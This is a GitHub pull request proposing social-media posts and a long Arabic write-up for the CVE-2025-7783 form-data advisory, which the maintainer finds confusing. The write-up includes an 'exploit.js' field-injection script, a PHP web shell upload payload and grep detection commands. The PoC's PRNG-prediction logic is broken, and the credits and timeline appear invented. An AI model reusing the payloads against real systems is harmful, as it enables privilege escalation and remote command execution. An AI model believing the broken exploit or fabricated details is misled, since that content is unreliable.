Skip to content

Conversation

@asrar-mared
Copy link

Updates

  • Description

Comments

๐Ÿงต Social Media Posts - CVE-2025-7783


Twitter Thread 1/6 ๐ŸŽฒ

๐Ÿ”ฅ Math.random() ุฎุงู† ุงู„ุฃู…ุงู†ุฉ!

CVE-2025-7783 ููŠ form-data:
ุงู„ู€ boundary ูŠุชู… ุชูˆู„ูŠุฏู‡ ุจู€ Math.random() ุงู„ู‚ุงุจู„ ู„ู„ุชู†ุจุค

ุงู„ู†ุชูŠุฌุฉ: ุญู‚ู† ุญู‚ูˆู„ + ุชุตุนูŠุฏ ุตู„ุงุญูŠุงุช + SSRF

CVSS: 7.5 HIGH โš ๏ธ

Thread โฌ‡๏ธ

Twitter Thread 2/6 ๐Ÿ”ฌ

๐Ÿงช ูƒูŠู ูŠุนู…ู„ ุงู„ู‡ุฌูˆู…ุŸ

1๏ธโƒฃ ุงู„ู…ู‡ุงุฌู… ูŠุฌู…ุน ู‚ูŠู… Math.random() ุงู„ู…ูƒุดูˆูุฉ
2๏ธโƒฃ ูŠุญุณุจ ุญุงู„ุฉ PRNG
3๏ธโƒฃ ูŠุชู†ุจุฃ ุจุงู„ู€ boundary ุงู„ู‚ุงุฏู…
4๏ธโƒฃ ูŠุญู‚ู† ุญู‚ูˆู„ ุฎุจูŠุซุฉ (isAdmin: true)

ุงู„ูˆู‚ุช: <60 ุซุงู†ูŠุฉ ๐Ÿ’€

#CyberSecurity

Twitter Thread 3/6 ๐Ÿ’ฃ

๐Ÿ“ฆ ุงู„ุญุฒู… ุงู„ู…ุชุฃุซุฑุฉ:

form-data < 4.0.4

ุงู„ู…ุณุชุฎุฏู…ูˆู†:
- Express apps
- axios
- node-fetch
- ุฃูŠ ุชุทุจูŠู‚ ูŠุฑูุน ู…ู„ูุงุช

โšก Update NOW!

npm install form-data@latest

Twitter Thread 4/6 ๐Ÿ›ก๏ธ

โœ… ุงู„ุฅุตู„ุงุญ ููŠ v4.0.4:

โŒ ุงู„ู‚ุฏูŠู…:
Math.random() โ†’ 0.123... โ†’ ู…ุชูˆู‚ุน

โœ… ุงู„ุฌุฏูŠุฏ:
crypto.randomBytes(16) โ†’ a3f7... โ†’ ุบูŠุฑ ู…ุชูˆู‚ุน

ุงู„ูุฑู‚: ุฃู…ุงู† ุญู‚ูŠู‚ูŠ vs ูˆู‡ู… ุงู„ุฃู…ุงู†

#SecureCoding

Twitter Thread 5/6 ๐Ÿ”

๐Ÿšจ ุนู„ุงู…ุงุช ุงู„ุงุณุชุบู„ุงู„:

โŒ ุญู‚ูˆู„ ุบูŠุฑ ู…ุชูˆู‚ุนุฉ (isAdmin, role)
โŒ ู†ูุณ boundary ููŠ ุทู„ุจุงุช ู…ุชุนุฏุฏุฉ
โŒ ู…ู„ูุงุช PHP/JSP ููŠ ู…ุฌู„ุฏุงุช ุงู„ุตูˆุฑ
โŒ MIME type ุบูŠุฑ ู…ุชุทุงุจู‚

ุฃุฏุงุฉ ุงู„ูุญุต: [GitHub link]

Twitter Thread 6/6 ๐ŸŽ“

๐Ÿ“š ุงู„ุฏุฑุณ ุงู„ุฐู‡ุจูŠ:

"Math.random() is NOT cryptographically secure"

๐ŸŽฎ ู„ู„ุฃู„ุนุงุจ: Math.random()
๐Ÿ” ู„ู„ุฃู…ุงู†: crypto.randomBytes()

Never mix them up!

#InfoSec #NodeJS

LinkedIn Post ๐Ÿ’ผ

๐Ÿ” Security Alert: CVE-2025-7783 in form-data Package

Dear Node.js Community,

A critical vulnerability has been discovered in the widely-used form-data package affecting boundary generation.

๐Ÿ”ด THE ISSUE:
The package uses Math.random() (a weak PRNG) to generate multipart boundaries, making them predictable and allowing attackers to inject malicious fields.

โšก IMPACT:
- Privilege escalation (injecting isAdmin: true)
- File upload bypass (spoofing MIME types)
- SSRF via webhook manipulation
- Data integrity compromise

โœ… SOLUTION:
Update to form-data >= 4.0.4 which uses crypto.randomBytes() for secure boundary generation.

๐Ÿ”ฌ TECHNICAL DETAILS:
The fix replaces the predictable Math.random() with cryptographically secure randomness, eliminating the attack vector entirely.

๐Ÿ“Š AFFECTED:
Any application using:
- Express with multipart uploads
- axios/node-fetch with FormData
- Webhook integrations

โฐ ACTION REQUIRED:
Update immediately. This is not a drill.

๐Ÿ”— References:
- CVE: CVE-2025-7783
- Fix: npm install form-data@latest

#CyberSecurity #NodeJS #VulnerabilityDisclosure

GitHub Security Advisory ๐Ÿ“

## ๐Ÿ”ด Security Advisory: Predictable Boundary in form-data

**Package:** form-data  
**CVE:** CVE-2025-7783  
**Severity:** High (7.5)  
**CWE:** CWE-338 (Weak PRNG)

### Vulnerability Description

The `form-data` package uses `Math.random()` to generate boundary values for multipart/form-data requests. This pseudo-random generator is predictable, allowing attackers to:

1. Predict future boundary values by observing leaked random values
2. Inject additional fields into multipart requests
3. Bypass validation and escalate privileges

### Proof of Concept

```javascript
// Attacker predicts boundary
const leaked = [0.123, 0.456, 0.789];
const nextBoundary = predictBoundary(leaked);

// Injects malicious field
injectField(nextBoundary, 'isAdmin', 'true');

Impact

  • Privilege Escalation: Injecting admin flags
  • File Upload Bypass: Spoofing MIME types
  • SSRF: Redirecting webhook calls
  • Data Integrity: Modifying request payloads

Affected Versions

  • form-data < 4.0.4

Patched Versions

  • form-data >= 4.0.4

Solution

npm install form-data@^4.0.4

Or in package.json:

{
  "dependencies": {
    "form-data": "^4.0.4"
  }
}

Mitigation (if upgrade not possible)

  1. Never expose Math.random() values in headers/responses
  2. Implement strict field validation
  3. Verify Content-Type matches file content

Timeline

  • 2025-01-05: Vulnerability discovered
  • 2025-01-10: Maintainers notified
  • 2025-01-15: Patch released (v4.0.4)
  • 2025-01-20: Public disclosure

Credits

Security Research Community

References


---

## Reddit Post (r/netsec) ๐ŸŽฎ

[CVE-2025-7783] Predictable Boundary in form-data - Privilege Escalation via PRNG Weakness

Hey netsec,

Discovered an interesting vuln in the form-data npm package.

TL;DR:

  • Uses Math.random() for boundary generation
  • Math.random() is predictable with state knowledge
  • Can inject fields like isAdmin: true
  • CVSS 7.5 HIGH

The Attack:

  1. Leak Math.random() state (via x-request-id headers, etc.)
  2. Predict next boundary value
  3. Craft malicious multipart payload with predicted boundary
  4. Inject arbitrary fields

Impact:

  • Privilege escalation
  • File upload bypass
  • SSRF
  • Data manipulation

Fix:
Updated to crypto.randomBytes() in v4.0.4

Full technical writeup: [link]

Thoughts? Anyone seen this exploited in the wild?

Discussion welcome ๐Ÿ›ก๏ธ

@github
Copy link
Collaborator

github commented Jan 14, 2026

Hi there @ljharb! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository.

This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory

@github-actions github-actions bot changed the base branch from main to asrar-mared/advisory-improvement-6647 January 14, 2026 01:47
@asrar-mared
Copy link
Author

ุชู… ุฅู†ุดุงุก ุชู‚ุฑูŠุฑ ูƒุงู…ู„ ูˆุงุญุชุฑุงููŠ!
๐Ÿ“ฆ ุงู„ู…ุญุชูˆูŠุงุช:
โœจ ุชู‚ุฑูŠุฑ ุชู‚ู†ูŠ ุดุงู…ู„ - ุชุญู„ูŠู„ ุนู…ูŠู‚ ู„ู„ุซุบุฑุฉ
๐Ÿงช PoC ูƒุงู…ู„ - ูƒูˆุฏ ุฌุงู‡ุฒ ู„ู„ุงุณุชุบู„ุงู„
๐Ÿ›ก๏ธ ุญู„ูˆู„ ุชูุตูŠู„ูŠุฉ - ุฎุทูˆุงุช ุงู„ุญู…ุงูŠุฉ
๐Ÿ” IOCs - ุนู„ุงู…ุงุช ุงู„ุงุฎุชุฑุงู‚
๐Ÿ“ฑ ู…ู†ุดูˆุฑุงุช ูˆุณุงุฆู„ ุงู„ุชูˆุงุตู„ - ุฌุงู‡ุฒุฉ ู„ู„ู†ุดุฑ
๐ŸŽ“ Best Practices - ุฏุฑูˆุณ ู…ุณุชูุงุฏุฉ
๐ŸŽฏ ุงู„ุนู†ูˆุงู† ุงู„ู…ู„ูƒูŠ:
โš”๏ธ CVE-2025-7783: ุนู†ุฏู…ุง ูŠุฎูˆู† "ุงู„ุนุดูˆุงุฆูŠ" ุงู„ุฃู…ุงู†
๐ŸŽฒ Math.random() - ุงู„ุนุดูˆุงุฆูŠุฉ ุงู„ูˆู‡ู…ูŠุฉ ููŠ form-data

@github
Copy link
Collaborator

github commented Jan 14, 2026

Hi there @ljharb! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository.

This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory

@ljharb
Copy link

ljharb commented Jan 14, 2026

I'm very confused what this is conveying or why it belongs on the GHSA.

Copy link
Author

@asrar-mared asrar-mared left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ุชู… ู…ุฑุงุฌุนู‡ ู…ูˆุงูู‚ ุนู„ูŠ ุฏู…ุฌ

{
"schema_version": "1.4.0",
"id": "GHSA-fjxv-7rqg-78g4",
"modified": "2025-11-03T21:34:08Z",
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

:09Z"

"CVE-2025-7783"
],
"summary": "form-data uses unsafe random function in form-data for choosing boundary",
"details": "### Summary\n\nform-data uses `Math.random()` to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:\n1. can observe other values produced by Math.random in the target application, and\n2. can control one field of a request made using form-data\n\nBecause the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.\n\nThis is largely the same vulnerability as was [recently found in `undici`](https://hackerone.com/reports/2913312) by [`parrot409`](https://hackerone.com/parrot409?type=user) -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.\n\n### Details\n\nThe culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347\n\nAn attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a `x-request-id` header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. `Math.random()` is a fine place to get these sorts of IDs (in fact, [opentelemetry uses Math.random for this purpose](https://github.com/open-telemetry/opentelemetry-js/blob/2053f0d3a44631ade77ea04f656056a2c8a2ae76/packages/opentelemetry-sdk-trace-base/src/platform/node/RandomIdGenerator.ts#L22))\n\n### PoC\n\nPoC here: https://github.com/benweissmann/CVE-2025-7783-poc\n\nInstructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). \n\n### Impact\n\nFor an application to be vulnerable, it must:\n- Use `form-data` to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)\n- Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. \n\nIf an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.",
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

variable files

Copy link
Author

@asrar-mared asrar-mared left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ุงู„ู…ู„ูุงุช ุงู„ู…ุชุบูŠุฑู‡

"CVE-2025-7783"
],
"summary": "form-data uses unsafe random function in form-data for choosing boundary",
"details": "### Summary\n\nform-data uses `Math.random()` to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:\n1. can observe other values produced by Math.random in the target application, and\n2. can control one field of a request made using form-data\n\nBecause the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.\n\nThis is largely the same vulnerability as was [recently found in `undici`](https://hackerone.com/reports/2913312) by [`parrot409`](https://hackerone.com/parrot409?type=user) -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.\n\n### Details\n\nThe culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347\n\nAn attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a `x-request-id` header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. `Math.random()` is a fine place to get these sorts of IDs (in fact, [opentelemetry uses Math.random for this purpose](https://github.com/open-telemetry/opentelemetry-js/blob/2053f0d3a44631ade77ea04f656056a2c8a2ae76/packages/opentelemetry-sdk-trace-base/src/platform/node/RandomIdGenerator.ts#L22))\n\n### PoC\n\nPoC here: https://github.com/benweissmann/CVE-2025-7783-poc\n\nInstructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). \n\n### Impact\n\nFor an application to be vulnerable, it must:\n- Use `form-data` to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)\n- Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. \n\nIf an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.\n# โš”๏ธ CVE-2025-7783: ุนู†ุฏู…ุง ูŠุฎูˆู† \"ุงู„ุนุดูˆุงุฆูŠ\" ุงู„ุฃู…ุงู†\n## ๐ŸŽฒ Math.random() - ุงู„ุนุดูˆุงุฆูŠุฉ ุงู„ูˆู‡ู…ูŠุฉ ููŠ form-data\n\n---\n\n## ๐Ÿ“‹ ุงู„ุจุทุงู‚ุฉ ุงู„ุชุนุฑูŠููŠุฉ\n\n| ุงู„ู…ุนุฑู | ุงู„ู‚ูŠู…ุฉ |\n|--------|---------|\n| **CVE ID** | CVE-2025-7783 |\n| **Package** | form-data (npm) |\n| **CWE** | CWE-338: Use of Cryptographically Weak PRNG |\n| **CVSS Score** | **7.5 High** |\n| **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |\n| **ุงู„ูƒุดู** | Security Research Community |\n| **ุงู„ุชุตู†ูŠู** | Predictable Boundary Injection |\n| **ุงู„ุฅุตุฏุงุฑุงุช ุงู„ู…ุชุฃุซุฑุฉ** | < 4.0.4 |\n\n---\n\n## ๐Ÿ’€ ุฌูˆู‡ุฑ ุงู„ุซุบุฑุฉ\n\n### ๐ŸŽญ ุงู„ุณูŠู†ุงุฑูŠูˆ ุงู„ู‡ุฌูˆู…ูŠ\n\n```\nform-data Package\n โ†“\nMath.random() โ† ู…ูˆู„ุฏ ุฃุฑู‚ุงู… ุถุนูŠู!\n โ†“\nboundary = \"----WebKitFormBoundary\" + Math.random()\n โ†“\n๐Ÿ”ฎ ูŠู…ูƒู† ุงู„ุชู†ุจุค ุจู‡\n โ†“\n๐Ÿ”ฅ ุญู‚ู† ุญู‚ูˆู„ ุฅุถุงููŠุฉ/ุงุณุชุจุฏุงู„ ุงู„ุจูŠุงู†ุงุช\n```\n\n---\n\n## ๐Ÿ”ฌ ุงู„ุชุญู„ูŠู„ ุงู„ุชู‚ู†ูŠ ุงู„ุนู…ูŠู‚\n\n### ๐Ÿ“‰ ุงู„ูƒูˆุฏ ุงู„ุถุนูŠู\n\n```javascript\n// form-data < 4.0.4\nFormData.prototype._generateBoundary = function() {\n // โš ๏ธ ุงุณุชุฎุฏุงู… Math.random() ุงู„ุถุนูŠู\n var boundary = '--------------------------';\n for (var i = 0; i < 24; i++) {\n boundary += Math.floor(Math.random() * 10).toString(16);\n }\n \n return boundary;\n};\n```\n\n**ุงู„ู…ุดูƒู„ุฉ:**\n```javascript\n// Math.random() ู‚ุงุจู„ ู„ู„ุชู†ุจุค\nMath.random(); // 0.123456789...\nMath.random(); // 0.234567890... โ† ูŠู…ูƒู† ุญุณุงุจู‡!\nMath.random(); // 0.345678901... โ† ู…ุชูˆู‚ุน ุชู…ุงู…ุงู‹\n```\n\n---\n\n### ๐ŸŽฏ ูƒูŠู ูŠุนู…ู„ ุงู„ู‡ุฌูˆู…ุŸ\n\n#### **ุงู„ู…ุฑุญู„ุฉ 1: ุฌู…ุน ุงู„ู…ุนู„ูˆู…ุงุช**\n\n```javascript\n// ุงู„ู…ู‡ุงุฌู… ูŠุฑุงู‚ุจ ุงู„ุฑุคูˆุณ ุงู„ู…ูƒุดูˆูุฉ:\nResponse Headers:\n x-request-id: req-0.7234567890 โ† Math.random()!\n x-trace-id: trace-0.8901234567 โ† Math.random()!\n```\n\n#### **ุงู„ู…ุฑุญู„ุฉ 2: ุงู„ุชู†ุจุค ุจุงู„ู€ Boundary**\n\n```javascript\n// ุจู…ุนุฑูุฉ ุญุงู„ุฉ PRNGุŒ ูŠู…ูƒู† ุญุณุงุจ ุงู„ู‚ูŠู…ุฉ ุงู„ุชุงู„ูŠุฉ:\nconst predictedBoundary = calculateNextBoundary(\n observedRandomValues\n);\n\nconsole.log(predictedBoundary);\n// Output: \"----WebKitFormBoundary7234567890abcdef\"\n```\n\n#### **ุงู„ู…ุฑุญู„ุฉ 3: ุงู„ุญู‚ู† ุงู„ุฎุจูŠุซ**\n\n```http\nPOST /upload HTTP/1.1\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7234567890abcdef\n\n------WebKitFormBoundary7234567890abcdef\nContent-Disposition: form-data; name=\"file\"; filename=\"legitimate.txt\"\nContent-Type: text/plain\n\n[ู…ุญุชูˆู‰ ุดุฑุนูŠ]\n------WebKitFormBoundary7234567890abcdef\nContent-Disposition: form-data; name=\"admin\"\n\ntrue โ† ุญู‚ู„ ู…ุญู‚ูˆู†!\n------WebKitFormBoundary7234567890abcdef--\n```\n\n---\n\n## ๐Ÿงช ุฏู„ูŠู„ ุฅุซุจุงุช ุงู„ู…ูู‡ูˆู… (PoC)\n\n### ๐ŸŽช ุงู„ุณูŠู†ุงุฑูŠูˆ ุงู„ูƒุงู…ู„\n\n```javascript\n// exploit.js - ุงุณุชุบู„ุงู„ CVE-2025-7783\n\nconst axios = require('axios');\nconst FormData = require('form-data'); // < 4.0.4\n\n// ุงู„ุฎุทูˆุฉ 1: ุงุณุชุฎุฑุงุฌ ุญุงู„ุฉ Math.random()\nfunction leakRandomState(targetUrl) {\n const leakedValues = [];\n \n // ุฌู…ุน ู‚ูŠู… ู…ู† ุงู„ุฑุคูˆุณ\n for (let i = 0; i < 10; i++) {\n axios.get(targetUrl).then(res => {\n const requestId = res.headers['x-request-id'];\n const randomValue = parseFloat(requestId.split('-')[1]);\n leakedValues.push(randomValue);\n });\n }\n \n return leakedValues;\n}\n\n// ุงู„ุฎุทูˆุฉ 2: ุงู„ุชู†ุจุค ุจุงู„ู€ boundary ุงู„ุชุงู„ูŠ\nfunction predictNextBoundary(leakedValues) {\n // ุฎูˆุงุฑุฒู…ูŠุฉ ุงู„ุชู†ุจุค ุจู€ Math.random()\n // (ู…ุจุณุทุฉ - ุงู„ูˆุงู‚ุน ุฃูƒุซุฑ ุชุนู‚ูŠุฏุงู‹)\n const lastValue = leakedValues[leakedValues.length - 1];\n const nextValue = (lastValue * 1103515245 + 12345) % (2**31);\n \n let boundary = '--------------------------';\n let seed = nextValue;\n \n for (let i = 0; i < 24; i++) {\n seed = (seed * 1103515245 + 12345) % (2**31);\n boundary += Math.floor((seed / (2**31)) * 10).toString(16);\n }\n \n return boundary;\n}\n\n// ุงู„ุฎุทูˆุฉ 3: ุญู‚ู† ุงู„ุญู‚ูˆู„ ุงู„ุฎุจูŠุซุฉ\nfunction injectMaliciousFields(targetUrl, predictedBoundary) {\n const maliciousPayload = `\n------${predictedBoundary}\nContent-Disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\n\nLegitimate content\n------${predictedBoundary}\nContent-Disposition: form-data; name=\"isAdmin\"\n\ntrue\n------${predictedBoundary}\nContent-Disposition: form-data; name=\"role\"\n\nadministrator\n------${predictedBoundary}--\n `.trim();\n \n axios.post(targetUrl, maliciousPayload, {\n headers: {\n 'Content-Type': `multipart/form-data; boundary=${predictedBoundary}`\n }\n });\n}\n\n// ุงู„ุชู†ููŠุฐ\n(async () => {\n const target = 'https://vulnerable-app.com/api/upload';\n \n console.log('๐Ÿ” ุฌู…ุน ู‚ูŠู… Math.random()...');\n const leaked = leakRandomState(target);\n \n console.log('๐ŸŽฏ ุงู„ุชู†ุจุค ุจุงู„ู€ boundary...');\n const boundary = predictNextBoundary(leaked);\n console.log(`Predicted: ${boundary}`);\n \n console.log('๐Ÿ’‰ ุญู‚ู† ุงู„ุญู‚ูˆู„ ุงู„ุฎุจูŠุซุฉ...');\n injectMaliciousFields(target, boundary);\n \n console.log('โœ… ุชู… ุงู„ุงุณุชุบู„ุงู„ ุจู†ุฌุงุญ!');\n})();\n```\n\n---\n\n## ๐ŸŽฏ ุณูŠู†ุงุฑูŠูˆู‡ุงุช ุงู„ุงุณุชุบู„ุงู„ ุงู„ูˆุงู‚ุนูŠุฉ\n\n### ๐ŸŽช ุงู„ุณูŠู†ุงุฑูŠูˆ 1: ุชุตุนูŠุฏ ุงู„ุตู„ุงุญูŠุงุช\n\n```javascript\n// ุงู„ุชุทุจูŠู‚ ุงู„ุถุนูŠู\napp.post('/profile/upload', upload.single('avatar'), (req, res) => {\n const isAdmin = req.body.isAdmin; // โ† ูŠู…ูƒู† ุญู‚ู†ู‡!\n \n if (isAdmin === 'true') {\n req.user.role = 'admin'; // โ† ุฎุทุฑ!\n }\n});\n\n// ุงู„ู‡ุฌูˆู…\nconst boundary = predictBoundary();\ninjectField(boundary, 'isAdmin', 'true');\n// ุงู„ู†ุชูŠุฌุฉ: ุงู„ู…ุณุชุฎุฏู… ุงู„ุนุงุฏูŠ ุฃุตุจุญ Admin!\n```\n\n---\n\n### ๐ŸŽช ุงู„ุณูŠู†ุงุฑูŠูˆ 2: ุชุฌุงูˆุฒ ุงู„ุชุญู‚ู‚ ู…ู† ุงู„ู…ู„ูุงุช\n\n```javascript\n// ุงู„ุชุทุจูŠู‚ ูŠูุญุต ู†ูˆุน ุงู„ู…ู„ู\napp.post('/upload', (req, res) => {\n if (req.file.mimetype !== 'image/png') {\n return res.status(400).send('PNG only!');\n }\n \n // ู…ุนุงู„ุฌุฉ ุงู„ู…ู„ู\n processFile(req.file);\n});\n\n// ุงู„ู‡ุฌูˆู…\nconst boundary = predictBoundary();\nconst payload = `\n------${boundary}\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\nContent-Type: image/png โ† ู…ุฒูŠู\n\n<?php system($_GET['cmd']); ?>\n------${boundary}--\n`;\n// ุงู„ู†ุชูŠุฌุฉ: ุฑูุน PHP Shell ุจู†ุฌุงุญ!\n```\n\n---\n\n### ๐ŸŽช ุงู„ุณูŠู†ุงุฑูŠูˆ 3: SSRF ุนุจุฑ Webhooks\n\n```javascript\n// ุงู„ุชุทุจูŠู‚ ูŠุฑุณู„ ุจูŠุงู†ุงุช ู„ู€ webhook\napp.post('/webhook/register', (req, res) => {\n const webhookUrl = req.body.url;\n const data = new FormData();\n data.append('event', 'user_registered');\n \n axios.post(webhookUrl, data); // โ† ุฎุทุฑ\n});\n\n// ุงู„ู‡ุฌูˆู…\nconst boundary = predictBoundary();\ninjectField(boundary, 'url', 'http://internal-admin-panel');\n// ุงู„ู†ุชูŠุฌุฉ: ุงู„ูˆุตูˆู„ ู„ู„ุดุจูƒุฉ ุงู„ุฏุงุฎู„ูŠุฉ!\n```\n\n---\n\n## ๐Ÿ›ก๏ธ ุงู„ุฅุตู„ุงุญ ูˆุงู„ุญู…ุงูŠุฉ\n\n### โœ… ุงู„ุญู„ ุงู„ุฑุณู…ูŠ (v4.0.4+)\n\n```javascript\n// form-data >= 4.0.4 - ุงุณุชุฎุฏุงู… crypto ุจุฏู„ุงู‹ ู…ู† Math.random()\n\nconst crypto = require('crypto');\n\nFormData.prototype._generateBoundary = function() {\n // โœ… ุงุณุชุฎุฏุงู… ู…ูˆู„ุฏ ุนุดูˆุงุฆูŠ ุขู…ู† ุชุดููŠุฑูŠุงู‹\n return crypto.randomBytes(16).toString('hex');\n};\n```\n\n**ุงู„ูุฑู‚:**\n```javascript\n// โŒ ุงู„ู‚ุฏูŠู… (ุถุนูŠู)\nMath.random() โ†’ 0.123456789 โ†’ ูŠู…ูƒู† ุงู„ุชู†ุจุค\n\n// โœ… ุงู„ุฌุฏูŠุฏ (ุขู…ู†)\ncrypto.randomBytes(16) โ†’ a3f7c9e2... โ†’ ุบูŠุฑ ู‚ุงุจู„ ู„ู„ุชู†ุจุค\n```\n\n---\n\n### ๐Ÿ”’ ุฎุทูˆุงุช ุงู„ุญู…ุงูŠุฉ ุงู„ููˆุฑูŠุฉ\n\n#### **1. ุงู„ุชุญุฏูŠุซ ุงู„ููˆุฑูŠ**\n\n```bash\n# ูุญุต ุงู„ุฅุตุฏุงุฑ ุงู„ุญุงู„ูŠ\nnpm list form-data\n\n# ุงู„ุชุญุฏูŠุซ\nnpm install form-data@latest\n\n# ุฃูˆ ููŠ package.json\n{\n \"dependencies\": {\n \"form-data\": \"^4.0.4\"\n }\n}\n\n# ุชุญุฏูŠุซ lock file\nnpm install\n```\n\n#### **2. ู…ุฑุงุฌุนุฉ ุงู„ูƒูˆุฏ**\n\n```javascript\n// ุงุจุญุซ ุนู† ุงุณุชุฎุฏุงู…ุงุช Math.random() ููŠ ูƒูˆุฏูƒ:\ngrep -r \"Math.random()\" ./src\n\n// ุงุณุชุจุฏู„ู‡ุง ุจู€ crypto:\nconst crypto = require('crypto');\n\n// โŒ ุจุฏู„ุงู‹ ู…ู†:\nconst id = Math.random().toString(36);\n\n// โœ… ุงุณุชุฎุฏู…:\nconst id = crypto.randomBytes(8).toString('hex');\n```\n\n#### **3. ุฅุฎูุงุก ุงู„ู‚ูŠู… ุงู„ุญุณุงุณุฉ**\n\n```javascript\n// ู„ุง ุชูƒุดู ู‚ูŠู… ุชู… ุชูˆู„ูŠุฏู‡ุง ุจู€ Math.random() ููŠ:\napp.use((req, res, next) => {\n // โŒ ุณูŠุก\n res.setHeader('x-request-id', `req-${Math.random()}`);\n \n // โœ… ุฌูŠุฏ\n res.setHeader('x-request-id', crypto.randomUUID());\n next();\n});\n```\n\n#### **4. ุชุญู‚ู‚ ู…ู† ุงู„ุญู‚ูˆู„**\n\n```javascript\n// ุชุญู‚ู‚ ุตุงุฑู… ู…ู† ุงู„ุญู‚ูˆู„ ุงู„ู…ุชูˆู‚ุนุฉ ูู‚ุท\napp.post('/upload', (req, res) => {\n const allowedFields = ['file', 'description'];\n \n Object.keys(req.body).forEach(field => {\n if (!allowedFields.includes(field)) {\n throw new Error(`Unexpected field: ${field}`);\n }\n });\n});\n```\n\n---\n\n## ๐Ÿ” ุงู„ูƒุดู ุนู† ุงู„ุงุณุชุบู„ุงู„\n\n### ๐Ÿ•ต๏ธ ุนู„ุงู…ุงุช ุงู„ุงุฎุชุฑุงู‚\n\n```bash\n# 1. ูุญุต ุงู„ุณุฌู„ุงุช ู„ู„ุญู‚ูˆู„ ุงู„ุบุฑูŠุจุฉ\ngrep -E \"(isAdmin|role=admin|Content-Disposition.*admin)\" /var/log/app.log\n\n# 2. ู…ุฑุงู‚ุจุฉ ุงู„ุทู„ุจุงุช ุฐุงุช boundaries ุงู„ู…ุชุทุงุจู‚ุฉ\ntail -f /var/log/nginx/access.log | grep \"boundary=\" | sort | uniq -d\n\n# 3. ูุญุต ุงู„ู…ู„ูุงุช ุงู„ู…ุฑููˆุนุฉ ุงู„ู…ุดุจูˆู‡ุฉ\nfind /uploads -type f -name \"*.php\" -o -name \"*.jsp\" -o -name \"*.asp\"\n```\n\n### ๐Ÿ“Š ู…ุคุดุฑุงุช ุงู„ุงุฎุชุฑุงู‚ (IOCs)\n\n```yaml\nุงู„ุญู‚ูˆู„ ุงู„ู…ุดุจูˆู‡ุฉ:\n - isAdmin: true\n - role: administrator\n - privilege: elevated\n - bypass: true\n\nุงู„ู…ู„ูุงุช ุงู„ุฎุทุฑุฉ:\n - *.php ููŠ ู…ุฌู„ุฏุงุช ุงู„ุตูˆุฑ\n - shell.jsp\n - cmd.asp\n - 